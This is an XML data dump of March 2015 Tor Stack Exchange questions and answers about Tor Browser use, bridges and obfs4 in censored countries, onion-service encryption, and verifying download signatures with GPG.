  <row Id="6410" PostTypeId="2" ParentId="64" CreationDate="2015-03-11T17:52:01.160" Score="5" Body="&lt;p&gt;Sending Torrent traffic over Tor is a &lt;strong&gt;bad idea&lt;/strong&gt; for three main reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It doesn't make you anonymous. Torrent protocol wasn't designed with anonymity in mind and there are a million ways you're going to leak your actual IP address.&lt;/li&gt;&#xA;&lt;li&gt;Tor is a TCP only network.&lt;/li&gt;&#xA;&lt;li&gt;While this doesn't give you the anonymity you wanted, it will hurt the network for other users. (See &lt;a href=&quot;https://tor.stackexchange.com/a/68/107&quot;&gt;@RogerDingledine's answer&lt;/a&gt;.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also make sure you read this official blog post: &lt;strong&gt;&lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow&quot;&gt;Bittorrent over Tor isn't a good idea&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2016-05-24T19:59:59.450" LastActivityDate="2016-05-24T19:59:59.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6411" PostTypeId="2" ParentId="3957" CreationDate="2015-03-11T18:46:12.053" Score="1" Body="&lt;p&gt;You will be very interested in &lt;a href=&quot;https://gitweb.torproject.org/metrics-web.git/tree/doc/users-q-and-a.txt&quot; rel=&quot;nofollow&quot;&gt;a document on the tor metrics website&lt;/a&gt; that explains the collected data further. Please let me know if there is anything missing there, and I'll try and improve this answer (as well as getting the document fixed).&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T18:46:12.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6412" PostTypeId="2" ParentId="6236" CreationDate="2015-03-11T18:49:26.130" Score="2" Body="&lt;p&gt;I think you're confused a little. The Tor cloud instance is not about surfing at all, and there's not too much to interact with for a Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exposing a Tor control port over the network is a bad idea, because the protocol is not secured and used only for local connections directly to it. To make use of it on your ec2 instance, install the controller software/stem locally and just connect to it that way after connecting to your ec2 instance using ssh.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-11T18:49:26.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6413" PostTypeId="2" ParentId="4169" CreationDate="2015-03-12T00:22:09.013" Score="1" Body="&lt;p&gt;Install tails OS and add skype to your programs. Have not done this myself but it sounds like it should work.&lt;/p&gt;&#xA;" OwnerUserId="6912" LastActivityDate="2015-03-12T00:22:09.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6415" PostTypeId="2" ParentId="4169" CreationDate="2015-03-12T05:32:27.607" Score="1" Body="&lt;p&gt;have a look at this paper (&lt;a href=&quot;http://goo.gl/41LR7a&quot; rel=&quot;nofollow&quot;&gt;A Tor-Based Anonymous Communication&#xA;Approach to Secure Smart Home Appliances&lt;/a&gt;) in the section &quot;Testing with Voice-over-Internet Protocol Applications&quot;, there is an experiment with Skype over Tor. What I figured out from their results is that Skype can work via Tor, but not smoothly for the time being due to the Time-to-Live of UDP.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="5202" LastEditDate="2015-03-12T07:58:22.760" LastActivityDate="2015-03-12T07:58:22.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6416" PostTypeId="1" CreationDate="2015-03-12T06:55:09.693" Score="1" ViewCount="22" Body="&lt;p&gt;Wondering if the application will deanonymize web by communication with my iphone on clearnet ip.&lt;/p&gt;&#xA;" OwnerUserId="6913" LastActivityDate="2015-03-12T09:33:22.103" Title="Should I not be using MobileMouse with Tor?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6417" PostTypeId="1" AcceptedAnswerId="6418" CreationDate="2015-03-12T08:11:01.400" Score="3" ViewCount="267" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nmp4F.png&quot; alt=&quot;Capture&quot;&gt;&#xA;As shown in the attached picture, can anyone give me a hint why my Tor.exe talk to the host of Adobe? while I am not using Tor to access or use any Adobe services. does my PC get hacked or injected by virus?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-03-12T18:31:45.033" Title="Why does my Tor talk to activate.adobe.com?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-16T21:23:50.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="6418" PostTypeId="2" ParentId="6417" CreationDate="2015-03-12T09:30:53.980" Score="3" Body="&lt;p&gt;Note that you should provide the IP address, not a hostname (the thing in the &quot;address&quot; field is a hostname) from your connection tracking tool. Resolving the hostname leaks where you're connecting and makes debugging pretty hard, because we don't know if there is an issue with your DNS being broken or something else. As to your question, activate.adobe.com seems to be offline currently and not running a Tor relay, so there's no reason for it to connect there. I think it's unlikely you have a virus that would be causing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and as discovered in the comments, Tor never connected to activate.adobe.com.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-03-12T10:09:39.240" LastActivityDate="2015-03-12T10:09:39.240" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6419" PostTypeId="2" ParentId="6416" CreationDate="2015-03-12T09:33:22.103" Score="1" Body="&lt;p&gt;In general, it is not recommended to use any software that wasn't specifically analyzed for safety/application leaks if you need anonymity from it. MobileMouse has not been analyzed in this regard yet.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-12T09:33:22.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6420" PostTypeId="1" CreationDate="2015-03-12T12:12:38.577" Score="4" ViewCount="492" Body="&lt;p&gt;i am doing some background research for my PhD on anonymity networks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i read that there is going to be some pretty major changes to hidden services but can not find an accurate up to date list of all the changes that are hopefully going to be implemented, documentation on the newer H.S. structure etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was wondering if anyone knows of any such documentation, or could give a brief summary of the changes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="3075" LastActivityDate="2015-09-08T16:30:12.247" Title="New Tor HIdden service specification" Tags="|onion-services|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6421" PostTypeId="1" CreationDate="2015-03-12T16:57:00.440" Score="1" ViewCount="71799" Body="&lt;p&gt;I am wondering how to play videos on Tor without compromising my ip. All help appreciated. Everything that I have read so far says doing so can compromise the system.&lt;/p&gt;&#xA;" OwnerUserId="6916" LastEditorUserId="6597" LastEditDate="2015-03-13T08:09:01.743" LastActivityDate="2019-08-27T04:18:27.753" Title="Playing All Videos on Tor Safely" Tags="|anonymity|information-leaks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6422" PostTypeId="1" CreationDate="2015-03-12T17:17:01.933" Score="1" ViewCount="84" Body="&lt;p&gt;I know that if I use tor my isp can see it. Can this cause me any problems. Could it for example pretend some explanations or contact me about this issue?&#xA;Thank you for you precious help.&lt;/p&gt;&#xA;" OwnerUserId="6917" LastActivityDate="2015-03-12T18:23:54.990" Title="problems with the isp using tor" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6423" PostTypeId="2" ParentId="6421" CreationDate="2015-03-12T18:21:30.080" Score="2" Body="&lt;p&gt;Any video that you can play inside TorBrowser should play safely, just make sure you don't install any additional plugins. This allows for example youtube to work almost all the time. There is no anonymity-preserving way to play videos that require Adobe's Flash player plugin currently and you should never trust the plugins that some websites offer you to play their videos.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-03-14T12:27:05.973" LastActivityDate="2015-03-14T12:27:05.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6424" PostTypeId="2" ParentId="6422" CreationDate="2015-03-12T18:23:54.990" Score="1" Body="&lt;p&gt;As a Tor user you're very unlikely to face any repercussions from your ISP, as long as you don't contribute to Tor by running a relay. Using Tor is not illegal in virtually all jurisdictions. Unfortunately, we don't know what will happen in the future and it is possible that someone records that you're using Tor today to use it against you tomorrow. The best defense is to get as many people as possible using Tor so that it becomes an even more normal thing to do.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-12T18:23:54.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6426" PostTypeId="1" CreationDate="2015-03-12T22:05:56.177" Score="2" ViewCount="931" Body="&lt;p&gt;In the past few days, I faced a problem that never occurred to me before: when trying to access .onion sites, the page times out after trying to connect. This is what it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to connect&lt;br/&gt;&#xA;  Firefox can't establish a connection to the server at --------.onion.&lt;br/&gt;&#xA;  The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;      If you are unable to load any pages, check your computer's network connection.&#xA;      If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web. &quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And several lines of the message below is what it's shown in the log :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mar 07 16:33:27.965 [Notifica] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me? I'm kind of a beginner and don't know much about Tor settings and options, so I hope someone can help me understand. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6920" LastEditorUserId="88" LastEditDate="2015-03-13T08:08:54.697" LastActivityDate="2015-03-13T08:08:54.697" Title="Cannot connect to hidden services" Tags="|onion-services|error|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6434" PostTypeId="2" ParentId="6421" CreationDate="2015-03-15T01:01:30.993" Score="2" Body="&lt;p&gt;It's different because YouTube and some other video hosting sites support HTML5 video playback, which requires no plugins to function. It's just an open Web standard. That said, protocols like WebRTC that use methods like UDP hole punching via STUN may leak your actual IP address unless you're transparently proxying all your traffic through Tor or turn off that particular flag in your browser (or use a browser that already does this, like TorBrowser).&lt;/p&gt;&#xA;" OwnerUserId="6937" LastActivityDate="2015-03-15T01:01:30.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6436" PostTypeId="1" CreationDate="2015-03-15T03:22:30.927" Score="4" ViewCount="585" Body="&lt;p&gt;I'm from the UK, but I work as an English teacher in China. Usually I get around the Chinese firewall by using a VPN, but lately the government has been stepping up their efforts to block these, so I downloaded Red Browser for my iPhone as an alternative method of getting around the firewall and maintaining contact with the outside world. However, the only way that I've been able to connect through Red Browser is with my VPN turned on. Without it I get no connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I can do to connect in China? I read something about 'bridges', but I don't really know what that means.&lt;/p&gt;&#xA;" OwnerUserId="6939" LastEditorUserId="6597" LastEditDate="2015-03-15T19:50:23.267" LastActivityDate="2016-04-29T10:02:48.017" Title="Unable to connect in China" Tags="|vpn|browsers|ios|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6440" PostTypeId="1" CreationDate="2015-03-16T15:56:38.500" Score="1" ViewCount="75" Body="&lt;p&gt;When you browse the web you first have to connect to the isp servers or something like that. Is there a way of surfing the net without passing into them? So he wouldn't for example be able to see that I use tor.&#xA;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="6948" LastEditorUserId="31632" LastEditDate="2021-05-04T22:00:12.777" LastActivityDate="2021-05-04T22:00:12.777" Title="internet surfing and isp" Tags="|anonymity|unlinkability|internet-service-provider|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6441" PostTypeId="2" ParentId="6440" CreationDate="2015-03-16T16:21:11.247" Score="3" Body="&lt;p&gt;No, there isn't a way to avoid going through your ISP. To avoid being detected as a Tor user, you need to use a &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transport&lt;/a&gt;. Unfortunately, there's no guarantee that your ISP won't learn you're a Tor user even when you use one, tho.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-16T16:21:11.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6442" PostTypeId="2" ParentId="6436" CreationDate="2015-03-16T16:24:16.817" Score="1" Body="&lt;p&gt;Bridges are a way to make a connection not directly with the Tor network, but using a server that isn't part of the official network even tho it runs Tor. Unfortunately, they don't work in China. What does work as far as I know is the meek transport. You can get it by using the normal &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-404-released&quot; rel=&quot;nofollow&quot;&gt;Tor Browser&lt;/a&gt;. &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow&quot;&gt;Here's&lt;/a&gt; the documentation for how it works.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-16T16:24:16.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6443" PostTypeId="2" ParentId="6436" CreationDate="2015-03-16T21:30:57.550" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/users/6883/sebastian&quot;&gt;Sebastian&lt;/a&gt; advised you to use the meek transport. However you can also use the current version of Tor browser. This has support for a new protocol called &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/&quot; rel=&quot;nofollow&quot;&gt;obfs4&lt;/a&gt;. Just use the dropdown menu at the green onion and at network settings choose obfs4 as transport type. As far as I know obfs4 bridges work quite good inside China. The older protocol obfs3 usually works for some time (between 10 minutes and an hour) until the bridges are detected and blocked.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-29T10:02:48.017" LastActivityDate="2016-04-29T10:02:48.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6444" PostTypeId="1" CreationDate="2015-03-16T22:00:32.747" Score="2" ViewCount="106" Body="&lt;p&gt;I know that while you are using Tor, the exit relay and the middle node often change. Does the guard node also change, or does it stay the same until I close and restart Tor? When I click on &quot;New identity&quot; does the guard node change too?&lt;/p&gt;&#xA;" OwnerUserId="6950" LastEditorUserId="6597" LastEditDate="2015-03-18T08:49:41.147" LastActivityDate="2015-03-18T08:49:41.147" Title="How Tor network works" Tags="|tor-browser-bundle|guard-node|" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-20T07:41:50.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="6445" PostTypeId="1" CreationDate="2015-03-16T22:08:08.323" Score="1" ViewCount="6828" Body="&lt;p&gt;Is it safer to use tor bridges or normal access points in order to hide the IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that when I use bridges, Google asks me almost always to prove that I am human and not a pc. When I don't use bridges it happens fewer times.&lt;/p&gt;&#xA;" OwnerUserId="6951" LastEditorUserId="6597" LastEditDate="2015-03-17T08:22:50.910" LastActivityDate="2019-07-20T18:13:52.927" Title="Use of tor bridges" Tags="|tor-browser-bundle|bridge|captcha|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6446" PostTypeId="2" ParentId="6445" CreationDate="2015-03-16T22:26:45.280" Score="2" Body="&lt;p&gt;It doesn't matter whether you use a bridge or not. You're experiencing a coincidence, not some actual relation between using bridges or not.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-16T22:26:45.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6447" PostTypeId="1" CreationDate="2015-03-16T23:32:12.967" Score="11" ViewCount="7479" Body="&lt;p&gt;Do .onion sites encrypt the information going through the exit node? Because a lot of them start with HTTP and not HTTPS.&lt;/p&gt;&#xA;" OwnerUserId="6952" LastEditorUserId="107" LastEditDate="2015-05-31T20:22:09.567" LastActivityDate="2016-01-31T20:22:18.033" Title="Do all .onion addresses use SSL/TLS?" Tags="|onion-services|onion-routing|encryption|ssl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6448" PostTypeId="1" AcceptedAnswerId="6452" CreationDate="2015-03-16T23:48:35.667" Score="3" ViewCount="9871" Body="&lt;p&gt;I'm trying to write a little python GUI to make interaction with tor control easier on windows, to make using hidden services easier. I'd like to be able to use a password to authenticate, but &lt;code&gt;tor.exe --hash-password mypassword&lt;/code&gt; didn't print out anything, and I'd like to be able to hash the password in python anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in main.c and found the function do_hash_password but I don't know which included file to look at to see how all the other functions are used.&lt;/p&gt;&#xA;" OwnerUserId="6953" LastActivityDate="2022-11-09T15:21:54.400" Title="How does the tor hash-password option work?" Tags="|onion-services|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6449" PostTypeId="1" CreationDate="2015-03-17T01:05:40.000" Score="2" ViewCount="1330" Body="&lt;p&gt;I am trying to setup a hidden service on an android device but cannot seem to get it to work. I have installed Palapa server and the website is available on localhost as well as over my network (for testing) so I know the webserver is working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Orbot and selected &quot;Hidden Service Hosting&quot; and set the port to the same used during the tests of the webserver on localhost above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It generates a .onion address for me - but I cannot reach the site over TOR. I think some info is exchanged, as when I try to reach the .onion site I notice some data exchange on orbot but I receive an &quot;Unable to Connect&quot; error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Worth noting I got this working on both Windows and Raspian (Rapsberry PI) so I know at least the basics... BUT could still be doing something stupid. &lt;/p&gt;&#xA;" OwnerUserId="6955" LastActivityDate="2016-10-07T10:27:43.597" Title="Issues setting up hidden service on Android" Tags="|onion-services|orbot|android|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6451" PostTypeId="2" ParentId="6447" CreationDate="2015-03-17T02:50:18.063" Score="17" Body="&lt;p&gt;No, .onion sites are not using https/ssl by default. But the connection inside the Tor network is always encrypted, so it is not really necessary to use https for .onion sites. Exit nodes aren't used at all with hidden services, because the connection stays inside the Tor network until the hidden service is reached.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-17T02:50:18.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6452" PostTypeId="2" ParentId="6448" CreationDate="2015-03-17T03:00:16.570" Score="0" Body="&lt;p&gt;First off, if --hash-password doesn't work please file a bug on &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow&quot;&gt;the bug tracker&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out Stem's &lt;a href=&quot;https://gitweb.torproject.org/stem.git/tree/test/integ/process.py#n96&quot; rel=&quot;nofollow&quot;&gt;integration tests&lt;/a&gt; to see how to calculate a password hash using Python.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-17T03:00:16.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6454" PostTypeId="1" CreationDate="2015-03-17T16:48:09.610" Score="4" ViewCount="487" Body="&lt;p&gt;I am looking to encode the identity of a router retrieved from the consensus to give me it's finger print, what is the encoding method used to transform the identity to the fingerprint ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6958" LastActivityDate="2023-12-05T11:54:27.277" Title="How is the identity encoded to display the fingerprint" Tags="|configuration|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6455" PostTypeId="1" CreationDate="2015-03-18T05:26:44.883" Score="5" ViewCount="475" Body="&lt;p&gt;On whonix 9.6, I can't access the Tor network settings, getting this message &quot;Unable to retrieve Tor settings. Please ensure Tor is running&quot;. I want to setup transparent proxying.&lt;/p&gt;&#xA;" OwnerUserId="6962" LastEditorUserId="6883" LastEditDate="2015-04-02T11:20:39.073" LastActivityDate="2015-04-02T11:20:39.073" Title="unable to retrieve tor network settings" Tags="|tor-browser-bundle|whonix|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-21T14:00:35.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="6457" PostTypeId="1" CreationDate="2015-03-19T16:36:55.447" Score="5" ViewCount="229" Body="&lt;p&gt;Tor Browser developers have often stated that using Flash Player with Tor Browser isn't considered safe because Flash can connect to the Internet on its own bypassing the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is would using a firewall software such as Comodo Firewall to prevent Flash from making its own connections solve this problem? If so are there any other pitfalls with using Flash (other than the vulnerabilities that are present when using &quot;normal&quot; browsers)?&lt;/p&gt;&#xA;" OwnerDisplayName="user6972" LastEditorDisplayName="user6972" LastEditDate="2015-03-19T16:56:06.627" LastActivityDate="2016-03-10T21:59:17.357" Title="Tor Browser with Flash AND firewall software" Tags="|tor-browser-bundle|firefox|flash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6459" PostTypeId="1" AcceptedAnswerId="6460" CreationDate="2015-03-20T16:53:03.070" Score="1" ViewCount="751" Body="&lt;p&gt;I wanted to use OBFS4 as a client and not as a server in ubuntu 14.0.4,how can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there were a topic like this on the forum but he wanted to use it as a server not client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="6975" LastActivityDate="2015-03-20T23:04:48.270" Title="how to run obfs4 in ubuntu as a client?" Tags="|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6460" PostTypeId="2" ParentId="6459" CreationDate="2015-03-20T23:04:48.270" Score="1" Body="&lt;p&gt;Just download the Tor Browser alpha release, it includes the obfs4 binary and allows you to configure it easily.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-20T23:04:48.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6461" PostTypeId="1" AcceptedAnswerId="6462" CreationDate="2015-03-21T01:10:42.970" Score="2" ViewCount="1445" Body="&lt;p&gt;I executed this part of the instructions from the Tor website:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The next step is to use GnuPG to import the key that signed your package. The Tor Browser team signs the Tor Browsers. Import its key (0x4E2C6E8793298290) by starting the terminal (under &amp;quot;Applications&amp;quot; in Mac OS X) and typing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver x-hkp://pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After importing the key, you can verify that the fingerprint is correct:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg --fingerprint 0x4E2C6E8793298290&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pub   4096R/93298290 2014-12-15&#xA;      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;uid                  Tor Browser Developers (signing key) &#xA;sub   4096R/F65C2036 2014-12-15&#xA;sub   4096R/D40814E0 2014-12-15&#xA;sub   4096R/589839A3 2014-12-15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To verify the signature of the package you downloaded, you will need to download the &amp;quot;.asc&amp;quot; file as well. Assuming you downloaded the package and its signature to your Desktop, run:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;I execute :&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg --verify ~/Desktop/tor-browser-linux64-4.0.4_en-US.tar.xz{.asc*,}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;But I get this error:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gpg: can't open `/home/user/Desktop/tor-browser-linux64-4.0.4_en-US.tar.xz.asc*'&#xA;gpg: verify signatures failed: file open error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Just to clarify I have both the tar.xz and the tar.xz.asc file in my Downloads folder.  Can anyone help me fix this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6977" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-08-10T17:32:17.817" Title="Verifying .asc file for TorBrowser-linux64-4.0.4_en-US.tar.xz" Tags="|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6462" PostTypeId="2" ParentId="6461" CreationDate="2015-03-21T01:25:08.110" Score="2" Body="&lt;p&gt;You can either move the files to your Desktop and re-run the commands, or change the word &quot;Desktop&quot; to &quot;Download&quot; in the command you executed, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --verify ~/Desktop/tor-browser-linux64-4.0.4_en-US.tar.xz{.asc*,}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="-1" LastEditDate="2017-05-22T05:34:55.397" LastActivityDate="2017-05-22T05:34:55.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6463" PostTypeId="1" CreationDate="2015-03-21T01:45:07.597" Score="2" ViewCount="924" Body="&lt;p&gt;&lt;strong&gt;Hi I am getting a bad signature for the tor browser for 64 bit GNU/Linux.  I have followed the instructions from the website completely which are :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step is to use GnuPG to import the key that signed your package. The Tor Browser team signs the Tor Browsers. Import its key (0x4E2C6E8793298290) by starting the terminal (under &quot;Applications&quot; in Mac OS X) and typing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg --keyserver x-hkp://pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After importing the key, you can verify that the fingerprint is correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg --fingerprint 0x4E2C6E8793298290&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub   4096R/93298290 2014-12-15&#xA;      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;uid                  Tor Browser Developers (signing key) &#xA;sub   4096R/F65C2036 2014-12-15&#xA;sub   4096R/D40814E0 2014-12-15&#xA;sub   4096R/589839A3 2014-12-15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To verify the signature of the package you downloaded, you will need to download the &quot;.asc&quot; file as well. Assuming you downloaded the package and its signature to your Desktop, run - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg --verify ~/Desktop/tor-browser-linux64-4.0.4_en-US.tar.xz{.asc*,}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But then when I run the above command line , I am getting this response:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: Signature made Tue 24 Feb 2015 11:55:16 PM PST using RSA key ID F65C2036&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: BAD signature from &quot;Tor Browser Developers (signing key) &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can anyone help me with this problem? Thanks.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6977" LastActivityDate="2015-03-21T03:35:34.600" Title="Getting bad signature for tor-browser-linux64-4.0.4_en-US.tar.xz" Tags="|verification|" AnswerCount="2" CommentCount="0" ClosedDate="2015-03-26T20:31:09.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="6464" PostTypeId="2" ParentId="6463" CreationDate="2015-03-21T02:39:56.970" Score="0" Body="&lt;p&gt;Yeah this is just for anyone who gets this problem, just uninstall the tor package and .asc file and re-download both of them again.&lt;/p&gt;&#xA;" OwnerUserId="6977" LastActivityDate="2015-03-21T02:39:56.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6465" PostTypeId="2" ParentId="6463" CreationDate="2015-03-21T03:35:34.600" Score="0" Body="&lt;p&gt;Uninstalling the package shouldn't be required, but a transmission error is likely. If a signature verification error persists, one should try to &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow&quot;&gt;contact&lt;/a&gt; the developers to ensure it is properly investigated.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-21T03:35:34.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
